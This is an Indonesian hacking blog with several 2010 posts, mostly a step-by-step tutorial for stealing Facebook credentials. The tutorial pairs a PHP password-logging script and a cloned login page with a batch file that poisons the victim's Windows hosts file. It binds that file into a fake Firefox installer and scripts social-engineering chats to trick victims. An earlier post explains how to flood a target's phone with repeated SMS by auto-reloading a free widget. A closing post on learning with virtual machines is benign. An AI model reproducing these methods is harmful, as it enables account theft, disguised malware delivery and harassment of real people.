Senin, 21 Juni 2010

flood sms dengan cara sederhana


author: darkslayer aka plonk5638 
date: 20 Juni 2010 , 20.00 WIB

Sudah lama tidak mengunjungi NFI, tp Saat mengunjungi forum NFI saya menemukan sebuah pertanyaan di sini yang sepertinya layak untuk di coba, petanyaan tersebut adalah:
Bagaimana cara melakukan flood sms?
Dulu saya sempat menanyakan hal yang sama dengan alasan ingin melakukan iseng2. Lalu dapat jawaban yaitu dengan menggunakan sms caster yang dapat anda download di sini

Akan tetapi kerja sms caster adalah dengan menguras biaya sms kita, bukan dari GPRS yang kemungkinan akan jauh lebih murah. Jadi nya saya pun menghentikan cara tersebut, maklum karena saya adalah anak kost. Kiriman bulan ini aja belum di kirim sampai sekarang .. emaakkk kirim donk... T_T

Sekarang tak terasa waktu berlalu dan saya menemukan sebuah pertanyaan lama yang dulu pernah saya layangkan pada forum yang sama pula. Sempat berpikir sejenak mengenai solusi dari masalah ini. Akan tetapi saya ingat akan suatu tool yang bernama reload every yang pernah saya coba dulu pada artikel mail bomber di cruzenaldo.com

OK kali ini kita langsung ke topik pembahasan.
yang kita butuhkan dalam melakukan flood sms adalah:
1. sebuah PC, koneksi internet
2. browser mozilla firefox
3. add-on reload every yang bisa anda download di sini
4. Widget sms gratis. Kali ini saya menggunakan widget dari situs http://sms-online.web.id yang memungkinkan kita untuk mengirimkan sms secara gratis.

Sekarang download reload every dan restart firefox anda. Lalu buka notepad lalu save code berikut dengan nama sms.html
<html><table align="center"><tr><td><iframe name="I2" src="http://sms-online.web.id/widget"
width="270" height="350"> not support
</iframe></td></tr></table></html>


sekarang coba buka sms.html lalu isikan nomer HP anda, lalu isi sembarang, dan jawab kode capthca yang di minta untuk menguji apakah layanan widget ini masih berjalan atau tidak. Contoh:



Nah, yang saya kurang jelas, kenapa begitu di reload capthca nya nggak komplain?? tapi y udah, itu keuntungan buat kita. sekarang setelah anda melakukan kiriman sms. Jangan pindah dari halaman tersebut. 


Segera lakukan refresh browser anda dan anda akan menerima sms yang sama. 


Maka dari celah ini saya pun memilih menggunakan addons firefox yaitu reload every. Dari namanya pasti tau kan cara kerjanya??

Ok sekarang klik kanan lalu pilih reload every >> 5 second, lalu klik kanan lagi pilih reload every >> enabled

Maka dalam 5 detik sekali reload every akan mereload halaman tersebut sehingga target akan di kirimi flood sms 5 detik sekali.

simple way.
thanx to cruz3n

Kamis, 03 Juni 2010

implementasi phising dengan metode DNS Spoofing

author: darkslayer aka plonk5638
thanx to: cruz3n, like_beck, p4njul, potteraradclife, rexgant, jastis, meonkzt, dopunk, lim/widiasta_7, latanggoart

Sebelumnya saya mohon maaf jika penjelasan pada artikel ini kurang memuaskan dikarenakan kemampuan saya yang kurang.

Sebetulnya saya ingin membahas hal ini sejak 2 bulan lalu, akan tetapi dikarenakan kemampuan saya yang kurang ini, maka saya pun memutuskan untuk menundanya, dan mempelajarinya lebih dalam lagi. Tapi apa daya keinginan tidak selalu berbanding lurus dengan otak. Tapi berkat reply dari mas latanggoart, dan reply mas potter pada topik ini akhirnya saya pun memberanikan diri membahas topik ini.
Sekiranya jika ada kesalahan harap di beri masukan

=============
OK. Kali ini kita akan membahas implementasi phising dengan metode DNS spoofing. Yang merupakan salah satu teknik lama. Bagi anda yang belum pernah membuat phising, saya sarankan jangan membaca ini terlebih dahulu, karena di sini tidak akan membahas phising dari basic melainkan langsung ke topik permasalahan dari DNS spoofing.

Banyak orang yang berpendapat bahwa phising tidaklah begitu berbahaya selama kita mengetahui letak perbedaan urlnya. Entah anda mengirimkan dari fake email admin@facebook.com atau tidak itu tidak menjadi soal, karena hasilnya adalah kejelian mata kita dalam melihat url pada address box browser kita. Siapa sih yang mau masuk url seperti ini:
http://facebook.hostse.com
http://fazebuk.com
http://facebooklogin.com
htpp://h1.ripway.com/facebook
tentu saja cuma orang awam saja bukan??
akan tetapi siapa yang mengira ketika dia mengetikkan alamat www.facebook.com tetapi ternyata dia memasuki situs yang salah. Karena walaupun address nya benar, tapi tampilannya adalah tampilan web phising kita??
yang mau mengecek terlebih dahulu source code dan IP dari suatu situs itu tentu hanya dilakukan oleh beberapa orang saja. Karena url yang akan kita sebarkan adalah tetap menjadi www.facebook.com , bukan url-url aneh seperti di atas tadi,jadi peluang kita untuk mendapatkan account facebook target menjadi lebih besar.

Sebelumnya mas potter telah membahas mengenai teknik DNS ini pada topik http://www.jasakom.com/showthread.php?27897-Hack-FB-(or-anything)-Clear-amp-Easy-For-Newbie, akan tetapi teknik phising melalui DNS spoofing ini masih bersifat local, yaitu kita harus melakukan konfigurasi pada komputer yang akan di akses oleh korban. btw, Saya sangat salut sekali dengan mas potter yang harus menjelaskan tutorial phisingnya dengan sendirian, demi membagi2 ilmu kepada teman-teman yang belum mengetahuinya. ;)

Perbedaan topik yang dijelaskan mas potter dengan topik yang akan saya bahas ini hanya terletak pada jaraknya saja, jika pada topik mas potter diharuskan mengakses fisik PC, maka pada topik ini akan saya jelaskan teknik phising tanpa mengakses komputer korban.

Sebelum kita berlanjut ke topik utama, sebaiknya kita harus mengetahui hal ini terlebih dahulu. Karena inilah yang menjadi hal utama kebehasilan implementasi teknik ini. hal ini adalah masalah tentang IP kita.

Saya mencoba beberapa alamat IP yang dihasilkan oleh modem berikut ini:
smart, XL modem, IM2, blackberry yang digunakan sebagai modem, Dial-up IM3, speedy, fastnet, fren, wifi, dan LAN.

Hasilnya ketika saya ujicoba ternyata memberikan pertanyaan yang sangat membingungkan, karena cuma IP dari modem IM2 saja yang dapat di ping dari luar jaringan. Kalau tidak percaya coba liat IP anda, lalu suruh teman anda untuk melakukan ping. Maka IP dari semua modem di atas selain IM2 akan bernilai RTO (request time out).

Penjelasan yang saya ketahui: (kemampuan penulis terbatas)
pada modem yang saya sebutkan di atas selain IM2, IP address kita berbeda dengan IP gateway. Sedangkan pada IM2 IP address sama dengan IP gateway. Anda pasti tahukan sedikit mengenai jaringan??

contoh: pada LAN
PC kita - switch - PC server - internet - facebook
PC kita: ip address = 10.100.164.2 , IP gateway = 10.100.164.1
PC server: IP internal = 10.100.164.1 , ip eksternal = 210.10.10.10

jika kita melakukan ping kepada facebook.com (220.20.20.20), maka jalurnya adalah:
PC kita : mas switch ip saya adalah 10.100.164.2 tolong donk terusin pesan saya ke komputer server yang beralamat di 10.100.164.1, saya mau melakukan ping ke server facebook nich.
switch: OK mas, saya teruskan

switch: mas server, komputer dengan ip 10.100.164.2 mau melakukan ping ke server facebook, tolong teruskan
PC server: OK, saya teruskan.

PC server: pakdhe, ente punya alamat ip hostname facebook kagak?
file HOSTS pada PC server: waduh bos,, maafin, sejak lu install gw, elu kagak pernah ngasih ane informasi apa-apa selain localhost doank
PC server: oh ya, sory bro, y udah gw nanya ke DNS server aja dech

PC server: kak, tau IP dari hostname facebook g?
DNS server: iya, ini saya punya. Alamat IP nya adalah 220.20.20.20. Tolong di ingat di cache ya, biar adik nggak nanya ke kakak lagi. nanti klo waktunya habis silahkan hubungi kakak lagi. Soalnya kakak pusing banget nich klo semua PC minta alamat IP ke kakak terus
PC server: OK ,thanx

PC server: hoe, komputer dengan alamat IP 220.20.20.20 , gw mau ngePING nich, boleh nggak? (pada proses ini, semua komputer tidak mengetahui apakah alamat ip yang di berikan oleh DNS server adalah benar-benar alamat ip facebook atau bukan. Yang di ketahui oleh setiap PC adalah DNS server selalu memberikan informasi yang benar, jadi kasarannya akan langsung percaya)
server facebook: iya boleh, nich balesannya ping anda
PC server: thanx

Komputer server: nich, ada balasan dari komputer dengan IP 220.20.20.20 yang katanya server DNS hostnamenya facebook.com, tolong terusin ke ip 10.100.164.2 ya? soalnya saya ingat bahwa tadi ada pesanan dari alamat ip itu untuk melakukan ping ke facebook
switch: OK

switch: OK, thanx udah menunggu, nich balesan dari ping lu tadi
PC kita: iya mas, terima kasih

maaf kepanjangan, tapi klo nggak gitu nggak akan jelas sampe pembahasan akhir :(

Keterangan:
PC kita akan mengenali alamat IP dari server facebook.com dari informasi yang di dapat oleh komputer server. Akan tetapi facebook tidak mengetahui bahwa ping yang telah dia dapatkan tadi berasal dari komputer anda (10.100.164.2), yang di ketahui oleh server facebook adalah bahwa dia telah mendapatkan ping dari komputer yang mempunyai IP 210.10.10.10 (IP eksternal PC server) bukan 10.100.164.1 (IP internal PC server).

Secara singkat beberapa ISP yang saya sebutkan di atas tadi selain IM2 adalah menggunakan sistem sama seperti pada LAN ini agar mempermudah pengawasan security. Sedangkan pada IM2 anda diberikan hak seperti layaknya komputer server tadi.
Jadi bagi teman2 yang menggunakan komputer smart jangan berbangga dulu jika dengan harga murah, kecepatan download anda pada server indowebster bisa mencapai 100kbps (dgn IDM), sedangkan pada IM2 hanya bisa mencapai 40kbps (dgn IDM). Karena dengan sistem seperti ini pelanggan smart bagaikan menaiki sebuah bus. Bila penumpang sepi, maka anda secara leluasa bebas duduk dimana saja, mau tidur2an di 3 kursi sekaliguspun tidak masalah. Akan tetapi jika para pengguna internet sudah banyak yang menggunakan smart, maka jangan kaget kalau anda harus rela berdiri sampai ke tujuan. Apalagi ditambah anda di berikan beberapa batasan-batasan, misalnya di larang merokok di bus (kendaraan public). Berbeda dengan pengguna IM2, disini saya ibaratkan sebagai penumpang taxi, tidak ada yang boleh menaiki taksi tersebut selama penumpang tidak membolehkannya. Dan anda pun bebas merokok. tapi biayanya mahal (kendaraan private)

Begitupun soal ping yang saya ceritakan di atas. bagi pengguna modem yang saya sebutkan selain im2 di atas tadi, server facebook / komputer di luar jaringan tidak akan mengetahui alamat dari IP anda tetapi hanya mengetahui alamat dari IP server anda. Itulah sebabnya mengapa notifikasi server trojan anda tidak bisa menghubungi client trojan yang ada di PC anda jika anda mengguakan IP public. Untuk IM2, sebaliknya, layaknya komputer server, dia dan server facebook akan saling mengenal IP addressnya satu sama lain. Sehingga akses langsung dapat dimungkinkan terjadi. Dan hal ini lah yang menjadi syarat penting dalam mempraktekkan topic berikut ini . . ayooo semangattt.. ini masih pengantarnya aja. . (^-^)

contoh ip smart:
ip address: 10.101.20.57
subnet mask: 255.255.255.0
default gateway: 10.101.20.1
contoh ip IM2
ip address: 114.13.100.176
subnet mask: 255.255.255.0
default gateway: 114.13.100.176

NOTE:
1. maaf, saya bukan sales IM2, ato suka memakai IM2, karena saya tidak mengetahui modem mana saja yang memberikan private IP seperti IM2. Apalagi saya sangat tidak suka sekali dengan peraturan bandwitch di IM2 sendiri.
2. terima kasih buat rexgant, karena atas jawaban singkat nya saya bisa memberi sedikit penjelasan sebagai kata pengantar topic ini
padahal cm 1x nanya ngasal,tp gambaran dari jawabannya sangat cemerlang.thanx bang (^-^)
plonk: mengapa ip modem2 di atas ada yang tidak bisa di ping dan ada yang bisa?
rexgant: hal itu karena memang oleh server/ISP nya IP nya di set tidak bisa di ping.

OK, lebih singkatnya silahkan kunjungi situs http://just-ping.com dan masukkan alamat IP anda. Situs ini akan melakukan ping dari berbagai negara.
contoh: alamat ip saya saat ini dengan modem IM2 114.58.56.177


Singkatnya jika alamat IP anda ternyata tidak bisa di ping dari luar jaringan, maka mohon maaf sekali jika anda hanya bisa membaca artikel ini tanpa bisa praktek :(
Maka itulah kenapa saya tetap menggunakan IM2 meskipun terdapat quota, bandwitch sedang, dan berbagai aturan penggunaan IM2 yang menyebalkan. Hal ini karena saya bisa langsung melakukan online scanning, agar saya bisa melakukan koneksi ke server trojan saya, dll dech, karena kalau di sebutkan mungkin kita akan lari dari pembahasan.

Bagi yang tidak bisa di ping jangan terlalu bersedih hati, karena jika target anda masih berada dalam 1 jaringan (wifi / LAN) maka anda masih bisa mempraktekkan hal ini ,tetapi cuma dalam batasan pada jaringan itu sendiri ya.
NOTE: kalau masih pengen praktek iseng-isengan, bisa juga dilakukan dengan virtual komputer dengan bantuan vmware / virtualbox

Dan satu hal lagi yang harus kita bahas terlebih dahulu adalah korban harus menggunakan OS windows, karena dalam tulisan ini kita akan melakukan DNS spoofing dengan melakukan file hosts poisoning.

Maaf kepanjangan, tapi lebih baik saya jelaskan terlebih dahulu daripada anda merasa sia-sia membaca sampai akhir kalimat saya :(

nutrisi
apa itu DNS (domain name server)??
system yang digunakan untuk mentranslate hostname suatu komputer menjadi alamat IP. (sumber: ngarang2 sendiri). Hal ini sangat dibutuhkan dikarenakan komputer tidak dapat mengetahui lokasi suatu komputer berdasarkan hostname, akan tetapi hanya mengetahuinya lewat IP dari komputer tujuan saja.

apa itu server DNS??
komputer server yang dijadikan sebagai acuan untuk menanyakan alamat IP dari suatu hostname. Singkatnya biar nggak nyasar atau nggak kesulitan mencari lokasi perlu adanya petugas lalu lintas nya juga.

apa itu cache DNS?
suatu data yang menyimpan informasi dari DNS server mengenai alamat IP dari suatu hostname untuk sementara waktu. Hal ini perlu agar semua komputer yang menanyakan IP suatu hostname ke server DNS tidak perlu berulangkali melakukan pertanyaan yang sama. Bayangkan saja jika semua komputer menanyakan hal yang sama secara terus menerus, dapat di bayangkan betapa sibuknya server DNS itu sendiri. Untuk melihat cache DNS ini kita dapat melihatnya dengan melakukan perintah ipconfig /displaydns
C:\Documents and Settings\thunder>ipconfig /displaydns

Windows IP Configuration

www.facebook.com
----------------------------------------
Record Name . . . . . : www.facebook.com
Record Type . . . . . : 1
Time To Live . . . . : 5756
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . : 220.20.20.20


localhost
----------------------------------------
Record Name . . . . . : localhost
Record Type . . . . . : 1
Time To Live . . . . : 592543
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . : 127.0.0.1
Dari situ dapat dilihat jika cache DNS dari hostname www.facebook.com di simpan sampai 5756 detik kemudian. Jika TTL habis, maka komputer kita akan menanyakan lagi ke server DNS.

Apa itu file HOSTS??
file sebagai tempat untuk menyimpan informasi mengenai DNS dari suatu hostname. Sebelum komputer kita (OS windows) menanyakan alamat IP dari facebook kepada server DNS, maka komputer kita akan menanyakan kepada file hosts apakah dia mempunyai informasi mengenai alamat IP dari hostname facebook atau tidak. Jika tidak maka komputer kita akan menanyakan lebih lanjut ke server DNS. file hosts ini dapat kita temukan di directory c:\windows\system32\drivers\etc. Anda bisa dengan mudah mengeditnya dengan notepad untuk menambahkan informasi mengenai DNS ini.

Apa itu DNS spoofing?
suatu teknik hacking yang dilakukan dengan cara memberikan informasi yang salah kepada komputer korban mengenai IP dari suatu hostname yang diminta oleh korban. Ingat bahwa semua komputer mempercayai semua informasi yang di berikan oleh server DNS dan file hosts (pada windows). Dan ini adalah kesalahan fatal, karena jika hacker dapat menguasai server DNS ataupun file hosts anda, maka hacker bisa dengan mudah menipu anda dengan memberikan alamat yang salah dan selanjutnya dapat ditebak sendiri apa akibatnya. Dan inilah metode yang akan kita gunakan dalam mengimplementasikan phising kita. lebih lanjut silahkan baca di postingan saya yang lain di http://www.jasakom.com/showthread.php?28050-Tolong-Ajarin-Bikin-Fake-Login

Bagaimana cara melakukan DNS spoofing?
1. mengowned server DNS (tentunya susah, saya nggak bisa)
2. mengedit file hosts (ini yang akan kita bahas)
3. menggunakan sniffer seperti cain abel (hanya bisa di lakukan di jaringan)

Ok langsung saja kita ke praktek, yaitu melakukan DNS spoofing dengan mengedit file hosts



PRAKTEK

OK, kita lanjut lagi, bahan yang di butuhkan:
1. Install aplikasi yang membuat PC kita menjadi server, dalam tulisan ini saya menggunakan XAMPP. Silahkan download kalau belum punya.
Jika sudah mari kita install, setelah instalasi selesai. Segera akses ke folder c:\xampp\htdocs . maka di situ akan ada beberapa file. File-file ini harus kita bersihkan terlebih dahulu karena keberadaaan file ini nanti nya akan mengganggu acara kita. OK, buat folder apa saja di c:\xampp\htdocs lalu taruh semua file-file tadi pada folder yang barusan anda buat (jika anda baru pertama kali menginstall xampp, maka file-file yang berada pada c:\xampp\htdocs adalah folder xampp ,index.html ,dan index.php)


2. kita siapkan script phising dan log filenya
Karena di sini saya anggap sudah pernah mempelajari phising maka tidak akan saya jelaskan.
buat file dengan nama hasil.txt
Pada mesin windows, anda tidak perlu lagi melakukan setting permission, karena secara default script file txt tadi tidak berattribut r (read-only).
dan untuk script php nya saya menggunakan ini. saya beri nama login.php
header("Location:http://www.facebook.com");
$file = "hasil.txt";
$username = $_POST['email'];
$password = $_POST['pass'];

$handle = fopen($file, 'a');
fwrite($handle, "++++++");
fwrite($handle, "\n");
fwrite($handle, "Email: ");
fwrite($handle, "$username");
fwrite($handle, "\n");
fwrite($handle, "Password: ");
fwrite($handle, "$password");
fwrite($handle, "\n");
fwrite($handle, "++++++");
fwrite($handle, "\n");
fwrite($handle, "\n");
fclose($handle);
exit;
?>
taruh hasil.txt dan login.php pada directory c:\xampp\htdocs

3. kita siapkan index.php
copy paste halaman utama facebook, lalu save dengan nama index.php lalu simpan pada directory c:\xampp\htdocs.
Selanjutnya edit file index.html tadi, dan ubah beberapa bagian berikut:
a. pastikan bahwa tampilannya sama dengan situs facebook yang sesungguhnya, jika berbeda silahkan mengedit sampai sama
b. cari action="https://login.facebook.com/login.php?login_attempt=1" dan ubah menjadi action="login.php"
Jika sudah silahkan save lagi.


4. menyiapkan script sederhana untuk mempoisoning file hosts
Disini saya akan menggunakan batch file untuk melakukan poisoning terhadap file hosts korban
cls
@echo off
ipconfig /flushdns
copy c:\windows\system32\drivers\etc\hosts c:\
attrib +h +s c:\hosts
echo 114.58.56.177 >> facebook.com c:\windows\system32\drivers\etc\hosts
echo 114.58.56.177 >> www.facebook.com c:\windows\system32\drivers\etc\hosts
exit
save dengan nama ubah.bat

Tau kan cara kerjanya? sebenarnya perintah yang dibutuhkan hanya pada bagian echo saja. tapi tambahan-tambahan scriptnya saya berikan dengan alasan untuk membuat backup hosts asli korban, karena modifikasi file hosts ini bersifat permanen sehingga jika tidak dikembalikan ke bentuk semula mungkin target kita tidak akan bisa memasuki situs facebook sampai dia install ulang windowsnya lagi. Dan perlu diingat juga bahwa ip kita adalah dinamic sehingga kecil kemungkinan kita bisa mendapatkan IP kita kembali jika telah terjadi disconnect modem. (g ada gunanya lagi)


Yang perlu di perhatikan lagi pada bagian echo adalah:
- 114.58.56.177 >> merupakan IP saya, karena ini bersifat dinamic, maka anda harus menjaga agar koneksi internet anda tidak putus terlebih dahulu sebelum korban mengakses situs phising anda.
- www.facebook.com dan facebook.com >> pengentrian 2 web ini dikarenakan terdapat perbedaan antara ketika kita ketik facebook.com dan www.facebook.com
untuk lebih jelasnya silahkan lihat di bawah:
C:\Documents and Settings\thunder>nslookup
Default Server: ns2.indosat.net.id
Address: 202.155.0.15

> www.facebook.com
Server: ns2.indosat.net.id
Address: 202.155.0.15

Non-authoritative answer:
Name: a2047.w7.akamai.net
Addresses: 114.57.28.24, 114.57.28.18, 114.57.28.10, 114.57.28.25
114.57.28.19, 114.57.28.9, 114.57.28.17
Aliases: www.facebook.com, www.facebook.com.edgesuite.net

> facebook.com
Server: ns3.indosat.net.id
Address: 202.155.0.10

Non-authoritative answer:
Name: facebook.com
Addresses: 69.63.181.11, 69.63.181.12, 69.63.189.11, 69.63.189.16

> m.facebook.com
Server: ns2.indosat.net.id
Address: 202.155.0.15

Non-authoritative answer:
Name: a2047.w7.akamai.net
Addresses: 114.57.28.10, 114.57.28.25, 114.57.28.19, 114.57.28.9
114.57.28.17, 114.57.28.24, 114.57.28.18
Aliases: m.facebook.com, m.facebook.com.edgesuite.net
beda url beda IP. Jadi sudah tahu kan mengapa saya memasukkan 2 address facebook )-l


NOTE: di karenakan sript batch tersebut memodifikasi system32 maka akan terdetect oleh kaspersky sebagai "modifikasi file host", lalu kasperksy akan menanyakan apakah ingin tetap ingin melanjutkan atau tidak. Jadi jika komputer korban menggunakan kaspersky ,kecil kemungkinan script ini berhasil. Akan tetapi pada smadav script ini bisa berjalan tanpa kendala. Untuk antivirus yang lain saya belum mencobanya. Thanx


5. Sosial engineering
Sesudah menyimpan file ubah.bat tadi sebenarnya bahan-bahan kita sudah selesai. Akan tetapi siapa yang mau mendownload dan menjalankan file bat begitu saja?? tentu target akan curiga bukan?? untuk itu kita memerlukan program binder seperti microjoiner, exebinder dengan file yang kiranya mau diterima oleh korban. Untuk itu kita memerlukan sedikit teknik sosial engineering agar mengetahui file apa yang kiranya mau di download dan dijalankan oleh korban. Setelah mengetahui file apa yang di butuhkan, anda bisa membinding file tersebut dengan ubah.bat di atas dengan menggunakan program binder tentunya.


sedikit mengenai tutorial binder file bat dengan microjoiner. misalnya saya ingin menggabungkan file ubah.bat dengan file installer_firefox.exe download microjoiner di http://www.cobans.net/joiner.php
lalu download quick batch file compiler (QBFC) di http://www.abyssmedia.com/quickbfc
1. install semua aplikasi tsb 2. buka QBFC, lalu pilih open dan pilih file ubah.bat yang telah kita buat tadi. Lalu pilih build. dan berinama ubah.exe 3. buka microjoiner. drag installer_firefox.exe dan ubah.exe ke dalam layar microjoiner. Selanjutnya pilih set icon dan pilih installer_mozilla.exe agar iconnya sama dengan icon dari installer_firefox.exe. Setelah itu pilih create. Maka file gabungan tadi akan berada pada direktory tempat anda menyimpan microjoiner dengan nama joined.exe. Rename joined.exe menjadi installer_firefox.exe agar terlihat seperti installer_firefox.exe yang asli
KET: kita membutuhkan QBFC dikarenakan microjoiner tidak bisa membedakan antara file bat dengan exe, sehingga jika menggabungkan file batch tadi secara langsung maka akan terjadi error (maklum microjoiner adalah program sederhana)
Selanjutnya lakukan social engineering agar korban mau mendownload dan menginstall file installer_firefox.exe yang tadi kita buat.

Setelah korban mendownload file tadi. Usahakan agar dia langsung menjalankan software tersebut. Karena di sini kita di kejar oleh waktu. Karena jika modem anda mengalami disconnect maka semuanya akan hancur berantakan, karena IP kita telah berubah (pasti tahu kan mengenai IP dinamic)

OK. Anggap korban sudah menjalankan program kita tadi. Kini ada permasalahan selanjutnya, yaitu mengenai cache browser yang nggak akan hilang jika dia terus melakukan koneksi ke server korban dengan browser yang sama :(


Begini, coba masuk ke situs www.cruzenaldo.com atau cukup dengan melakukan perintah ping ke www.cruzenaldo.com
lalu masuk cmd dan ketik ipconfig /displaydns
C:\Documents and Settings\thunder>ping www.cruzenaldo.com
Pinging www.cruzenaldo.com [202.78.195.116] with 32 bytes of data:
Reply from 202.78.195.116: bytes=32 time=276ms TTL=56 Reply from 202.78.195.116: bytes=32 time=291ms TTL=56 Reply from 202.78.195.116: bytes=32 time=258ms TTL=56 Reply from 202.78.195.116: bytes=32 time=238ms TTL=56
Ping statistics for 202.78.195.116: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 238ms, Maximum = 291ms, Average = 265ms
C:\Documents and Settings\thunder>ipconfig /displaydns
Windows IP Configuration

www.cruzenaldo.com ---------------------------------------- Record Name . . . . . : www.cruzenaldo.com Record Type . . . . . : 1 Time To Live . . . . : 3486 Data Length . . . . . : 4 Section . . . . . . . : Answer A (Host) Record . . . : 202.78.195.116[/code] selang beberapa detik kemudian saya ketik lagi [code]C:\Documents and Settings\thunder>ipconfig /displaydns
Windows IP Configuration
www.cruzenaldo.com ---------------------------------------- Record Name . . . . . : www.cruzenaldo.com Record Type . . . . . : 1 Time To Live . . . . : 3321 Data Length . . . . . : 4 Section . . . . . . . : Answer A (Host) Record . . . : 202.78.195.116 Nah,, coba lihat time to live pada www.cruzenaldo.com = 3486 second menjadi 3321 second. Ingat kan mengenai cache DNS yang di atas tadi?? ;)
Oleh karena itu untuk menghindari komputer korban masih mengingat IP dari situs facebook yang asli maka kita perlu menghapus cache DNS nya terlebih dahulu. Oleh karena itu untuk mengakali cache DNS ini, saya memasukkan operator ipconfig /flushdns pada ubah.bat di atas untuk menghapus cache DNS yang ada.

Akan tetapi kita masih terkendala dengan adanya cache browser. Jika browser masih menyimpan cache dari situs facebook asli maka berdasarkan pengalaman , korban memerlukan waktu yang lama untuk mengakses situs facebook dari PC kita jika dia tidak pernah menghapus cache browsernya. padahal kita juga tidak boleh membiarkan alamat IP kita mengalami perubahan dikarenakan disconnect :(

Begini, pada saat browser kita pertama kali mendownload halaman facebook beserta konten2nya, maka browser akan menyimpan konten-konten tersebut pada cache. Jika kita mengakses halaman facebook lagi, maka seluruh kontennya bukan berasal dari server facebook lagi, melainkan diambil dari cache browser tersebut. Jadi selama cache ini tidak di bersihkan maka, kecil kemungkinan korban akan masuk ke localhost kita.

Oleh karena itu, saya lebih suka memilih cara sosial engineering ini.
skenario 1
hacker: mas, enaknya setiap kali kita tutup browser kita, kita mesti delete semua history,cache dan cookiesnya nggak?
victim: iya mas, saya menyetting firefox saya agar menghapus data2nya ketika menutup browser. Biar aman mas
hacker: owh,, bla..blaa..

victim: bla...blaa..
hacker: kok aneh ya mas, saya kok nggak bisa login di fb saya?
victim: bisa kok mas, mungkin bla..blaa... saya aja lagi online kok

hacker: mmh... coba dech mas tutup firefoxnya dulu, lalu masuk ke fb, soalnya saya td bisa, kok sekrng tiba2 nggak bisa

victim: ok saya coba

jika cache nya selalu di hapus setiap menutup browser, maka itu adalah kesempatan emas kita (^-^)



skenario 2
hacker: mas, seringnya pake browser apa mas?
victim: pake firefox bro, memang nya kenapa mas?

hacker: owh,, ini mas aneh banget, kenapa ya saya tidak bisa login facebook dari IE, padahal saya coba dari firefox bisa.

victim: waduh mas, nggak tahu saya, mungkin bla..bla..

hakcer: coba dech mas login facebook dari IE

victim: OK saya coba
Kenapa saya mengajak korban menggunakan browser yang jarang di pakai (dalam hal ini adalah IE)??
karena permasalahan cache browser yang tadi. Sehingga kemungkinan cache pada browser tersebut masih / sudah bersih (karena lama tidak digunakan). Cara ini tentunya lebih baik daripada memaksa korban menghapus cache browsernya yang tentunya akan menimbulkan kecurigaan.


Jika proses tersebut berhasil maka PC korban akan memasuki situs phising kita (tentunya anda harus mengaktifkan xampp terlebih dahulu). Dan selanjutnya email dan pass nya akan dapat anda lihat di c:\xampp\htdocs\hasil.txt


Jika sudah selesai, jangan lupa untuk mengembalikan file hosts korban ke kondisi semula di lain waktu. Karena jika tidak, maka komputer korban tidak akan bisa mengakses halaman facebook sampai dia install ulang windowsnya. Script pengembalian sederhananya seperti ini
cls
@echo off

del c:\windows\system32\drivers\etc\hosts
attrib -s -h c:\hosts
move c:\hosts c:\windows\system32\drivers\etc



Kesimpulan:
cara kerjanya adalah begini
kita melakukan DNS spoofing dengan cara merubah isi dari file HOSTS (file hosts poisoning). Dimana pada file HOSTS tersebut kita masukkan alamat IP kita sebagai acuan untuk situs facebook pada komputer korban. Ketika korban memasukkan alamat www.facebook.com atau facebook.com maka sebenarnya dia sedang mengakses halaman phising pada localhost kita, bukan mengakses situs facebook yang asli. Sehingga email dan pass yang di masukkan ke dalam halaman situs itu akan tercatat pada c:\xampp\htdocs\hasil.txt silahkan lihat






maaf kepanjangan :(
semoga berguna )-l )-l

saya mau pamit pulag kampung dulu (^-^)

Selasa, 11 Mei 2010

Virtual Komputer = solusi tepat pembelajaran jaringan, OS, registry, malware dan lain-lain

Pernahkah anda bergabung di suatu forum atau mailing list? Banyak di antara mereka yang memberikan tutorial mengenai jaringan (LAN, Wifi, sniffer, internet), belajar membuat malware (virus, trojan, keylogger, spyware, worm), OS (linux (semua distronya), windows server 2003, windows NT, dan segala windows sebelum XP keluar), tutorial pengeditan registry, DDOS/DOS attack, oprek OS atau software tertentu dan lain-lain.

Semua artikel yang di tulis di situ mayoritas ditulis dengan ketekunan yang sungguh-sungguh dari sang penulis, selain rela membuang-buang waktu mereka, mereka juga menshare ilmu mereka secara blak-blakan kepada anda. Akan tetapi betapa malang nasib si penulis, "sudah bikin tutorial susah-susah, tapi kok yang reply...."
1. reply artikel tentang tutorial Linux
- pake linux y mas :( ..memangnya klo pake windows bagaimana,, saya make XP nich??
- ribet amat,, ntar aja dech saya bookmark dulu, nunggu klo udah punya niat install linux
2. reply DDOS/DOS (misalnya salah satu postingan keren dari mywisdom di Jasakom.com mengenai DOS dan DDOS ala cracker)
- waduh,, pake backtrack 4 y?? ,,klo pake windows bagaimana caranya
3. Tutorial Sniffer
- mmhh.. nanti dech ,, saya mau nyoba di warnet aja
- wah, klo pake cain di kantor saya nanti takutnya malah jaringannya error, jadi takut belajar nich.
4. oprek OS (contoh merubah tampilan LOGON windows yang rentan terhadap crash)
- hikz..hikz.. jadi takut dech. nanti mesti install ulang donk :(
5. tutorial malware
- wah,, klo salah make nya ntar kompie saya yang bisa-bisa jadi korban
6. tutorial edit registry
- ntar klo error gmn mas??
7. tutorial cara membuat DNS dan DHCP server pada windows server 2003, serta pengamanannya
- wew... artikel nya khusus buat admin ea mas??

Alangkah disayangkan bagi mereka yang berkata begitu (saya jg termasuk kok). Banyak tutorial yang berguna, tetapi kita sendiri yang membuat sesuatu hal untuk dijadikan alasan menunda belajar. Sedikit dari kita (tidak termasuk saya) yang mau belajar cara mengatasi masalah yang mengganjal kita untuk belajar.

Satu lagi, ada juga yang berpendapat (biasanya pada forum hacking). "Hari gene masih pake windows.. ??"
wah,,, saya tidak sependapat dengan itu, bukan berarti karena saya juga pake windows, akan tetapi kita tidak bisa memungkiri bahwa OS windows lah yang paling banyak di pakai oleh mayoritas orang. Jadi sudah bisa ditebak bahwa software-software yang ada umumnya adalah untuk OS windows, ada kalanya tidak menyediakan untuk OS lain. Dan juga perlu kita balikkan lagi pemikiran kita, apa yang anda cari dari belajar hacking?? suatu kesenangan/hoby kah?? atau anda ingin mendapatkan uang dari belajar hacking?. Jika jawaban anda adalah mencari uang dengan ilmu hacking, maka terserah anda berkomentar "Hari gene masih pake windows.. ??" ,,akan tetapi jika niat belajar hacking adalah untuk iseng, menambah pengetahuan dll, maka saya sarankan agar menarik ucapan anda tersebut, karena mungkin suatu ketika ucapan anda akan menjadi bumerang tersendiri bagi anda (di sini saya bukan berarti pemuja berat OS windows).

